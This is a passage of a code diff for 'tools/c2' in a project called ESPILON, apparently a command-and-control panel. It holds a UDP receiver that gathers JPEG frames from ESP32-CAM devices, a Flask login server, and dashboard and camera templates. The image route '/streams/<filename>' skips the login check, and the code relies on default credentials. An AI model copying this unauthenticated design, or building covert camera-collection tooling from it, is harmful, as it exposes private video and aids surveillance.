|
||||||
|
return self._assemblers[key]
|
||||||
|
|
||||||
|
def _get_recorder(self, camera_id: str) -> CameraRecorder:
|
||||||
|
if camera_id not in self._recorders:
|
||||||
|
self._recorders[camera_id] = CameraRecorder(camera_id, self._recordings_dir)
|
||||||
|
return self._recorders[camera_id]
|
||||||
|
|
||||||
|
def _receive_loop(self):
|
||||||
|
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
self._sock.bind((self.host, self.port))
|
||||||
|
self._sock.settimeout(1.0)
|
||||||
|
|
||||||
|
print(f"[UDP] Receiver started on {self.host}:{self.port}")
|
||||||
|
|
||||||
|
while not self._stop_event.is_set():
|
||||||
|
try:
|
||||||
|
data, addr = self._sock.recvfrom(UDP_BUFFER_SIZE)
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
except OSError:
|
||||||
|
break
|
||||||
|
|
||||||
|
self.packets_received += 1
|
||||||
|
|
||||||
|
if not data.startswith(SECRET_TOKEN):
|
||||||
|
self.invalid_tokens += 1
|
||||||
|
continue
|
||||||
|
|
||||||
|
payload = data[len(SECRET_TOKEN):]
|
||||||
|
assembler = self._get_assembler(addr)
|
||||||
|
|
||||||
|
# Try to get device_id from IP, fallback to IP if not found
|
||||||
|
ip = addr[0]
|
||||||
|
device_id = self._get_device_id_from_ip(ip)
|
||||||
|
if not device_id:
|
||||||
|
# Fallback: use IP (without port to avoid duplicates)
|
||||||
|
device_id = ip.replace(".", "_")
|
||||||
|
|
||||||
|
if payload == b"START":
|
||||||
|
assembler.start_frame()
|
||||||
|
continue
|
||||||
|
elif payload == b"END":
|
||||||
|
frame_data = assembler.finish_frame()
|
||||||
|
if frame_data:
|
||||||
|
self._process_complete_frame(device_id, frame_data, addr)
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
if not assembler.receiving:
|
||||||
|
frame = self._decode_frame(payload)
|
||||||
|
if frame is not None:
|
||||||
|
self._process_frame(device_id, frame, addr)
|
||||||
|
else:
|
||||||
|
self.decode_errors += 1
|
||||||
|
else:
|
||||||
|
assembler.add_chunk(payload)
|
||||||
|
|
||||||
|
if self._sock:
|
||||||
|
self._sock.close()
|
||||||
|
self._sock = None
|
||||||
|
|
||||||
|
print("[UDP] Receiver stopped")
|
||||||
|
|
||||||
|
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
|
||||||
|
frame = self._decode_frame(frame_data)
|
||||||
|
if frame is None:
|
||||||
|
self.decode_errors += 1
|
||||||
|
return
|
||||||
|
self._process_frame(camera_id, frame, addr)
|
||||||
|
|
||||||
|
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
|
||||||
|
self.frames_received += 1
|
||||||
|
|
||||||
|
# Update camera tracking
|
||||||
|
self._active_cameras[camera_id] = {
|
||||||
|
"last_frame": time.time(),
|
||||||
|
"active": True,
|
||||||
|
"addr": addr
|
||||||
|
}
|
||||||
|
|
||||||
|
# Save frame
|
||||||
|
self._save_frame(camera_id, frame)
|
||||||
|
|
||||||
|
# Record if recording is active for this camera
|
||||||
|
recorder = self._get_recorder(camera_id)
|
||||||
|
if recorder.is_recording:
|
||||||
|
recorder.write_frame(frame)
|
||||||
|
|
||||||
|
if self.on_frame:
|
||||||
|
self.on_frame(camera_id, frame, addr)
|
||||||
|
|
||||||
|
def _decode_frame(self, data: bytes) -> Optional[np.ndarray]:
|
||||||
|
try:
|
||||||
|
npdata = np.frombuffer(data, np.uint8)
|
||||||
|
frame = cv2.imdecode(npdata, cv2.IMREAD_COLOR)
|
||||||
|
return frame
|
||||||
|
except Exception:
|
||||||
|
return None
|
||||||
|
|
||||||
|
def _save_frame(self, camera_id: str, frame: np.ndarray):
|
||||||
|
try:
|
||||||
|
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
|
||||||
|
cv2.imwrite(filepath, frame)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# === Recording API ===
|
||||||
|
|
||||||
|
def start_recording(self, camera_id: str) -> dict:
|
||||||
|
if camera_id not in self._active_cameras or not self._active_cameras[camera_id].get("active"):
|
||||||
|
return {"error": f"Camera {camera_id} not active"}
|
||||||
|
|
||||||
|
recorder = self._get_recorder(camera_id)
|
||||||
|
if recorder.is_recording:
|
||||||
|
return {"error": "Already recording", "filename": recorder.filename}
|
||||||
|
|
||||||
|
filename = recorder.start()
|
||||||
|
return {"status": "recording", "filename": filename, "camera_id": camera_id}
|
||||||
|
|
||||||
|
def stop_recording(self, camera_id: str) -> dict:
|
||||||
|
if camera_id not in self._recorders:
|
||||||
|
return {"error": f"No recorder for {camera_id}"}
|
||||||
|
|
||||||
|
recorder = self._recorders[camera_id]
|
||||||
|
if not recorder.is_recording:
|
||||||
|
return {"error": "Not recording"}
|
||||||
|
|
||||||
|
result = recorder.stop()
|
||||||
|
result["camera_id"] = camera_id
|
||||||
|
result["path"] = os.path.join(self._recordings_dir, result["filename"])
|
||||||
|
return result
|
||||||
|
|
||||||
|
def get_recording_status(self, camera_id: str = None) -> dict:
|
||||||
|
if camera_id:
|
||||||
|
if camera_id not in self._recorders:
|
||||||
|
return {"camera_id": camera_id, "recording": False}
|
||||||
|
recorder = self._recorders[camera_id]
|
||||||
|
return {
|
||||||
|
"camera_id": camera_id,
|
||||||
|
"recording": recorder.is_recording,
|
||||||
|
"filename": recorder.filename,
|
||||||
|
"duration": recorder.duration,
|
||||||
|
"frames": recorder.frame_count
|
||||||
|
}
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
for cid, info in self._active_cameras.items():
|
||||||
|
if info.get("active"):
|
||||||
|
recorder = self._get_recorder(cid)
|
||||||
|
result[cid] = {
|
||||||
|
"recording": recorder.is_recording,
|
||||||
|
"filename": recorder.filename if recorder.is_recording else None,
|
||||||
|
"duration": recorder.duration if recorder.is_recording else 0
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
|
||||||
|
def list_recordings(self) -> list:
|
||||||
|
try:
|
||||||
|
files = []
|
||||||
|
for f in os.listdir(self._recordings_dir):
|
||||||
|
if f.endswith(".avi"):
|
||||||
|
path = os.path.join(self._recordings_dir, f)
|
||||||
|
stat = os.stat(path)
|
||||||
|
files.append({
|
||||||
|
"filename": f,
|
||||||
|
"size": stat.st_size,
|
||||||
|
"created": stat.st_mtime
|
||||||
|
})
|
||||||
|
return sorted(files, key=lambda x: x["created"], reverse=True)
|
||||||
|
except Exception:
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_stats(self) -> dict:
|
||||||
|
recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
|
||||||
|
active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
|
||||||
|
return {
|
||||||
|
"running": self.is_running,
|
||||||
|
"packets_received": self.packets_received,
|
||||||
|
"frames_received": self.frames_received,
|
||||||
|
"invalid_tokens": self.invalid_tokens,
|
||||||
|
"decode_errors": self.decode_errors,
|
||||||
|
"active_cameras": active_count,
|
||||||
|
"active_recordings": recording_count
|
||||||
|
}
|
||||||
158
tools/c2/streams/web_server.py
Normal file
158
tools/c2/streams/web_server.py
Normal file
@ -0,0 +1,158 @@
|
|||||||
|
"""Flask web server for camera stream display."""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
|
||||||
|
from werkzeug.serving import make_server
|
||||||
|
|
||||||
|
from .config import (
|
||||||
|
WEB_HOST, WEB_PORT, FLASK_SECRET_KEY,
|
||||||
|
DEFAULT_USERNAME, DEFAULT_PASSWORD, IMAGE_DIR
|
||||||
|
)
|
||||||
|
|
||||||
|
# Disable Flask/Werkzeug request logging
|
||||||
|
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||||
|
|
||||||
|
|
||||||
|
class WebServer:
|
||||||
|
"""Flask-based web server for viewing camera streams."""
|
||||||
|
|
||||||
|
def __init__(self,
|
||||||
|
host: str = WEB_HOST,
|
||||||
|
port: int = WEB_PORT,
|
||||||
|
image_dir: str = IMAGE_DIR,
|
||||||
|
username: str = DEFAULT_USERNAME,
|
||||||
|
password: str = DEFAULT_PASSWORD):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.image_dir = image_dir
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
|
||||||
|
self._app = self._create_app()
|
||||||
|
self._server = None
|
||||||
|
self._thread = None
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
return self._thread is not None and self._thread.is_alive()
|
||||||
|
|
||||||
|
def _create_app(self) -> Flask:
|
||||||
|
"""Create and configure the Flask application."""
|
||||||
|
# Get the c2 root directory for templates
|
||||||
|
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
template_dir = os.path.join(c2_root, "templates")
|
||||||
|
static_dir = os.path.join(c2_root, "static")
|
||||||
|
|
||||||
|
app = Flask(__name__,
|
||||||
|
template_folder=template_dir,
|
||||||
|
static_folder=static_dir)
|
||||||
|
app.secret_key = FLASK_SECRET_KEY
|
||||||
|
|
||||||
|
# Store reference to self for route handlers
|
||||||
|
web_server = self
|
||||||
|
|
||||||
|
@app.route("/login", methods=["GET", "POST"])
|
||||||
|
def login():
|
||||||
|
error = None
|
||||||
|
if request.method == "POST":
|
||||||
|
username = request.form.get("username")
|
||||||
|
password = request.form.get("password")
|
||||||
|
if username == web_server.username and password == web_server.password:
|
||||||
|
session["logged_in"] = True
|
||||||
|
return redirect(url_for("index"))
|
||||||
|
else:
|
||||||
|
error = "Invalid credentials."
|
||||||
|
return render_template("login.html", error=error)
|
||||||
|
|
||||||
|
@app.route("/logout")
|
||||||
|
def logout():
|
||||||
|
session.pop("logged_in", None)
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
|
||||||
|
@app.route("/")
|
||||||
|
def index():
|
||||||
|
if not session.get("logged_in"):
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
|
||||||
|
# List available camera images
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
try:
|
||||||
|
image_files = sorted([
|
||||||
|
f for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
])
|
||||||
|
except FileNotFoundError:
|
||||||
|
image_files = []
|
||||||
|
|
||||||
|
if not image_files:
|
||||||
|
image_files = []
|
||||||
|
|
||||||
|
return render_template("index.html", image_files=image_files)
|
||||||
|
|
||||||
|
@app.route("/streams/<filename>")
|
||||||
|
def stream_image(filename):
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
return send_from_directory(full_image_dir, filename)
|
||||||
|
|
||||||
|
@app.route("/api/cameras")
|
||||||
|
def api_cameras():
|
||||||
|
"""API endpoint to get list of active cameras."""
|
||||||
|
if not session.get("logged_in"):
|
||||||
|
return jsonify({"error": "Unauthorized"}), 401
|
||||||
|
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
try:
|
||||||
|
cameras = [
|
||||||
|
f.replace(".jpg", "")
|
||||||
|
for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
]
|
||||||
|
except FileNotFoundError:
|
||||||
|
cameras = []
|
||||||
|
|
||||||
|
return jsonify({"cameras": cameras})
|
||||||
|
|
||||||
|
@app.route("/api/stats")
|
||||||
|
def api_stats():
|
||||||
|
"""API endpoint for server statistics."""
|
||||||
|
if not session.get("logged_in"):
|
||||||
|
return jsonify({"error": "Unauthorized"}), 401
|
||||||
|
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
try:
|
||||||
|
camera_count = len([
|
||||||
|
f for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
])
|
||||||
|
except FileNotFoundError:
|
||||||
|
camera_count = 0
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"active_cameras": camera_count,
|
||||||
|
"server_running": True
|
||||||
|
})
|
||||||
|
|
||||||
|
return app
|
||||||
|
|
||||||
|
def start(self) -> bool:
|
||||||
|
"""Start the web server in a background thread."""
|
||||||
|
if self.is_running:
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
||||||
|
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
||||||
|
self._thread.start()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""Stop the web server."""
|
||||||
|
if self._server:
|
||||||
|
self._server.shutdown()
|
||||||
|
self._server = None
|
||||||
|
self._thread = None
|
||||||
|
|
||||||
|
def get_url(self) -> str:
|
||||||
|
"""Get the server URL."""
|
||||||
|
return f"http://{self.host}:{self.port}"
|
||||||
52
tools/c2/templates/base.html
Normal file
52
tools/c2/templates/base.html
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>{% block title %}ESPILON{% endblock %}</title>
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='css/main.css') }}">
|
||||||
|
{% block head %}{% endblock %}
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<header>
|
||||||
|
<div class="logo">ESPILON</div>
|
||||||
|
<nav class="main-nav">
|
||||||
|
<a href="/dashboard" class="nav-link {% if active_page == 'dashboard' %}active{% endif %}">
|
||||||
|
Dashboard
|
||||||
|
</a>
|
||||||
|
<a href="/cameras" class="nav-link {% if active_page == 'cameras' %}active{% endif %}">
|
||||||
|
Cameras
|
||||||
|
</a>
|
||||||
|
<a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}">
|
||||||
|
MLAT
|
||||||
|
</a>
|
||||||
|
</nav>
|
||||||
|
<div class="header-right">
|
||||||
|
<div class="status">
|
||||||
|
<div class="status-dot"></div>
|
||||||
|
<span id="device-count">-</span> device(s)
|
||||||
|
</div>
|
||||||
|
<a href="/logout" class="logout">Logout</a>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<main>
|
||||||
|
{% block content %}{% endblock %}
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// Update device count in header
|
||||||
|
async function updateStats() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/stats');
|
||||||
|
const data = await res.json();
|
||||||
|
document.getElementById('device-count').textContent = data.connected_devices || 0;
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
updateStats();
|
||||||
|
setInterval(updateStats, 10000);
|
||||||
|
</script>
|
||||||
|
{% block scripts %}{% endblock %}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
270
tools/c2/templates/cameras.html
Normal file
270
tools/c2/templates/cameras.html
Normal file
@ -0,0 +1,270 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
|
||||||
|
{% block title %}Cameras - ESPILON{% endblock %}
|
||||||
|
|
||||||
|
{% block content %}
|
||||||
|
<div class="page-header">
|
||||||
|
<div class="page-title">Cameras <span>Live Feed</span></div>
|
||||||
|
<div class="status">
|
||||||
|
<div class="status-dot"></div>
|
||||||
|
<span id="camera-count">{{ image_files|length }}</span> camera(s)
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{% if image_files %}
|
||||||
|
<div class="grid grid-cameras" id="grid">
|
||||||
|
{% for img in image_files %}
|
||||||
|
<div class="card" data-camera-id="{{ img.replace('.jpg', '') }}">
|
||||||
|
<div class="card-header">
|
||||||
|
<span class="name">{{ img.replace('.jpg', '').replace('_', ':') }}</span>
|
||||||
|
<div class="card-actions">
|
||||||
|
<button class="btn-record" data-camera="{{ img.replace('.jpg', '') }}" title="Start Recording">
|
||||||
|
<svg width="14" height="14" viewBox="0 0 24 24" fill="currentColor">
|
||||||
|
<circle cx="12" cy="12" r="8"/>
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
<span class="badge badge-live">LIVE</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="card-body card-body-image">
|
||||||
|
<img src="/streams/{{ img }}?t=0"
|
||||||
|
data-src="/streams/{{ img }}"
|
||||||
|
data-default="/static/images/no-signal.png"
|
||||||
|
onerror="this.src=this.dataset.default">
|
||||||
|
</div>
|
||||||
|
<div class="record-indicator" style="display: none;">
|
||||||
|
<span class="record-dot"></span>
|
||||||
|
<span class="record-time">00:00</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{% endfor %}
|
||||||
|
</div>
|
||||||
|
{% else %}
|
||||||
|
<div class="empty-cameras">
|
||||||
|
<div class="no-signal-container">
|
||||||
|
<img src="/static/images/no-signal.png" alt="No Signal" class="no-signal-img">
|
||||||
|
<h2>No active cameras</h2>
|
||||||
|
<p>Waiting for ESP32-CAM devices to send frames on UDP port 5000</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{% endif %}
|
||||||
|
{% endblock %}
|
||||||
|
|
||||||
|
{% block scripts %}
|
||||||
|
<style>
|
||||||
|
.card-actions {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-record {
|
||||||
|
width: 28px;
|
||||||
|
height: 28px;
|
||||||
|
border-radius: 50%;
|
||||||
|
border: none;
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
color: var(--text-secondary);
|
||||||
|
cursor: pointer;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-record:hover {
|
||||||
|
background: var(--status-error-bg);
|
||||||
|
color: var(--status-error);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-record.recording {
|
||||||
|
background: var(--status-error);
|
||||||
|
color: white;
|
||||||
|
animation: pulse-record 1.5s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes pulse-record {
|
||||||
|
0%, 100% { opacity: 1; }
|
||||||
|
50% { opacity: 0.6; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.record-indicator {
|
||||||
|
padding: 8px 16px;
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border-top: 1px solid var(--border-color);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--status-error);
|
||||||
|
}
|
||||||
|
|
||||||
|
.record-dot {
|
||||||
|
width: 8px;
|
||||||
|
height: 8px;
|
||||||
|
background: var(--status-error);
|
||||||
|
border-radius: 50%;
|
||||||
|
animation: pulse-record 1s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
.record-time {
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.empty-cameras {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 60vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
.no-signal-container {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.no-signal-img {
|
||||||
|
max-width: 300px;
|
||||||
|
margin-bottom: 24px;
|
||||||
|
opacity: 0.8;
|
||||||
|
border-radius: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.no-signal-container h2 {
|
||||||
|
font-size: 20px;
|
||||||
|
color: var(--text-primary);
|
||||||
|
margin-bottom: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.no-signal-container p {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-body-image img {
|
||||||
|
min-height: 180px;
|
||||||
|
object-fit: contain;
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// Recording state
|
||||||
|
const recordingState = {};
|
||||||
|
|
||||||
|
// Refresh camera images
|
||||||
|
function refresh() {
|
||||||
|
const t = Date.now();
|
||||||
|
document.querySelectorAll('.card-body-image img').forEach(img => {
|
||||||
|
// Only update if not showing default image
|
||||||
|
if (!img.src.includes('no-signal')) {
|
||||||
|
img.src = img.dataset.src + '?t=' + t;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for new/removed cameras
|
||||||
|
async function checkCameras() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/cameras');
|
||||||
|
const data = await res.json();
|
||||||
|
const current = document.querySelectorAll('.card').length;
|
||||||
|
document.getElementById('camera-count').textContent = data.count || 0;
|
||||||
|
|
||||||
|
// Update recording states
|
||||||
|
if (data.cameras) {
|
||||||
|
data.cameras.forEach(cam => {
|
||||||
|
updateRecordingUI(cam.id, cam.recording);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (data.count !== current) location.reload();
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update recording UI
|
||||||
|
function updateRecordingUI(cameraId, isRecording) {
|
||||||
|
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
|
||||||
|
if (!card) return;
|
||||||
|
|
||||||
|
const btn = card.querySelector('.btn-record');
|
||||||
|
const indicator = card.querySelector('.record-indicator');
|
||||||
|
|
||||||
|
if (isRecording) {
|
||||||
|
btn.classList.add('recording');
|
||||||
|
btn.title = 'Stop Recording';
|
||||||
|
indicator.style.display = 'flex';
|
||||||
|
|
||||||
|
// Start timer if not already
|
||||||
|
if (!recordingState[cameraId]) {
|
||||||
|
recordingState[cameraId] = { startTime: Date.now() };
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
btn.classList.remove('recording');
|
||||||
|
btn.title = 'Start Recording';
|
||||||
|
indicator.style.display = 'none';
|
||||||
|
delete recordingState[cameraId];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update recording timers
|
||||||
|
function updateTimers() {
|
||||||
|
for (const [cameraId, state] of Object.entries(recordingState)) {
|
||||||
|
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
|
||||||
|
if (!card) continue;
|
||||||
|
|
||||||
|
const timeEl = card.querySelector('.record-time');
|
||||||
|
if (timeEl) {
|
||||||
|
const elapsed = Math.floor((Date.now() - state.startTime) / 1000);
|
||||||
|
const mins = Math.floor(elapsed / 60).toString().padStart(2, '0');
|
||||||
|
const secs = (elapsed % 60).toString().padStart(2, '0');
|
||||||
|
timeEl.textContent = `${mins}:${secs}`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Toggle recording
|
||||||
|
async function toggleRecording(cameraId) {
|
||||||
|
const btn = document.querySelector(`[data-camera="${cameraId}"]`);
|
||||||
|
const isRecording = btn.classList.contains('recording');
|
||||||
|
|
||||||
|
try {
|
||||||
|
const endpoint = isRecording ? 'stop' : 'start';
|
||||||
|
const res = await fetch(`/api/recording/${endpoint}/${cameraId}`, {
|
||||||
|
method: 'POST'
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
|
||||||
|
if (data.error) {
|
||||||
|
console.error('Recording error:', data.error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
updateRecordingUI(cameraId, !isRecording);
|
||||||
|
|
||||||
|
if (!isRecording) {
|
||||||
|
recordingState[cameraId] = { startTime: Date.now() };
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.error('Recording toggle failed:', e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Event listeners
|
||||||
|
document.querySelectorAll('.btn-record').forEach(btn => {
|
||||||
|
btn.addEventListener('click', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
const cameraId = btn.dataset.camera;
|
||||||
|
toggleRecording(cameraId);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// Intervals
|
||||||
|
setInterval(refresh, 100);
|
||||||
|
setInterval(checkCameras, 5000);
|
||||||
|
setInterval(updateTimers, 1000);
|
||||||
|
|
||||||
|
// Initial check
|
||||||
|
checkCameras();
|
||||||
|
</script>
|
||||||
|
{% endblock %}
|
||||||
158
tools/c2/templates/dashboard.html
Normal file
158
tools/c2/templates/dashboard.html
Normal file
@ -0,0 +1,158 @@
|
|||||||
|
{% extends "base.html" %}
|
||||||
|
|
||||||
|
{% block title %}Dashboard - ESPILON{% endblock %}
|
||||||
|
|
||||||
|
{% block content %}
|
||||||
|
<div class="page-header">
|
||||||
|
<div class="page-title">Dashboard <span>Connected Devices</span></div>
|
||||||
|
<div class="header-stats">
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-value" id="device-count">0</span>
|
||||||
|
<span class="stat-label">Devices</span>
|
||||||
|
</div>
|
||||||
|
<div class="stat">
|
||||||
|
<span class="stat-value" id="active-count">0</span>
|
||||||
|
<span class="stat-label">Active</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="devices-grid" class="grid">
|
||||||
|
<!-- Devices loaded via JavaScript -->
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="empty-state" class="empty-lain" style="display: none;">
|
||||||
|
<div class="lain-container">
|
||||||
|
<pre class="lain-ascii">
|
||||||
|
⠠⡐⢠⠂⠥⠒⡌⠰⡈⢆⡑⢢⠘⡐⢢⠑⢢⠁⠦⢡⢂⠣⢌⠒⡄⢃⠆⡱⢌⠒⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⡀⢀⠀⠠⠀⠠⠀⠀⠀⠀⠀⠀⠀⠣⢘⡐⢢⢡⠒⡌⠒⠤⢃⠜⡰⢈⠔⢢⠑⢢⠑⡌⠒⡌⠰⢌⠒⡰⢈⠒⢌⠢⡑⢢⠁⠎⠤⡑⢂⠆⡑⠢⢌
|
||||||
|
⠠⠑⣂⢉⠒⡥⠘⡡⢑⠢⡘⠤⡉⠔⡡⠊⡅⠚⡌⠢⠜⡰⢈⡒⠌⡆⡍⠐⠀⠀⠀⠀⠀⠂⠄⡐⠀⠀⠀⠐⠀⠀⠂⠈⠐⠀⠄⠂⠀⠂⠁⢀⠀⠠⢀⠀⠀⠀⡀⠀⠈⠢⢡⢊⠔⣉⠦⡁⢎⠰⡉⠆⡑⢊⠔⢃⠌⡱⢈⠣⡘⢄⠃⡡⠋⡄⢓⡈⢆⡉⠎⡰⢉⠆⡘⠡⢃⠌
|
||||||
|
⠠⠓⡄⢊⠔⢢⠑⡐⠣⡑⢌⠢⠱⡘⢄⠓⡌⠱⢠⡉⠆⡅⢣⠘⠈⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠠⠀⠁⠌⠀⠀⠈⠀⠈⠀⠐⠀⡀⠂⠀⠐⠀⠂⠁⡀⠠⠁⠀⠀⠀⠀⠀⠀⠈⠘⡄⢢⠑⡌⢢⠑⡌⠱⡈⠜⡐⣊⠔⡡⢒⠡⢊⠔⡡⠓⡈⠦⠘⠤⡘⢢⠑⡌⢢⠑⡃⢎⡘
|
||||||
|
⠐⡅⢊⠤⡉⢆⠱⣈⠱⡈⢆⠡⡃⠜⡠⢃⠌⣑⠢⢌⡱⠈⠁⠀⠀⠀⠠⠈⠀⠀⡐⠈⢀⠠⠀⢀⠐⠀⠈⠀⠐⠀⢁⠀⠂⡀⠀⢀⠐⠠⠁⠈⠀⠀⠀⠀⠀⠡⠐⠀⠂⠀⠀⠀⠀⠀⠁⠊⠴⡁⢎⠰⢡⠘⢢⠑⡄⢊⠔⡡⢊⠔⡨⢐⠡⠜⡰⠉⢆⡑⠢⡑⣈⠆⡱⢈⠆⡘
|
||||||
|
⠐⡌⢂⠒⣡⠊⡔⢠⠃⡜⢠⠃⡜⢠⠱⣈⠒⡌⢒⠢⠁⠀⠀⠀⠀⠄⠡⢀⠀⠀⠀⠂⠄⠀⠄⠀⢀⠀⠂⠈⠀⠡⠀⠐⠠⠀⠈⠀⠄⠀⠂⠀⠠⠀⠀⠐⠈⠐⠀⠡⢀⠈⠀⠄⠀⠀⠀⠀⠐⡁⢎⡘⠤⡉⢆⠡⡘⠤⢃⠔⡡⢎⠰⢉⠢⠱⣀⠋⠤⢌⠱⡐⠄⢎⠰⡁⢎⠰
|
||||||
|
⠐⢌⠢⡑⢄⠣⢌⠢⡑⢌⠢⡑⢌⠢⡑⢄⠣⡘⠂⠀⠀⠀⠀⠁⠀⠀⢀⠀⡈⠄⠐⠠⠀⢀⠀⠄⠂⡀⠀⠄⠈⡀⠀⠂⠀⠐⠀⢁⠀⠁⠠⠈⠀⠀⡁⠀⠁⠀⠀⠀⠄⠀⠂⡀⠂⠌⡀⠁⠀⠈⠢⡘⠤⡑⢌⠢⠑⡌⢢⠘⡐⢢⠑⡌⢢⠑⠤⣉⠒⡌⢢⠡⡉⢆⠱⡐⢌⠱
|
||||||
|
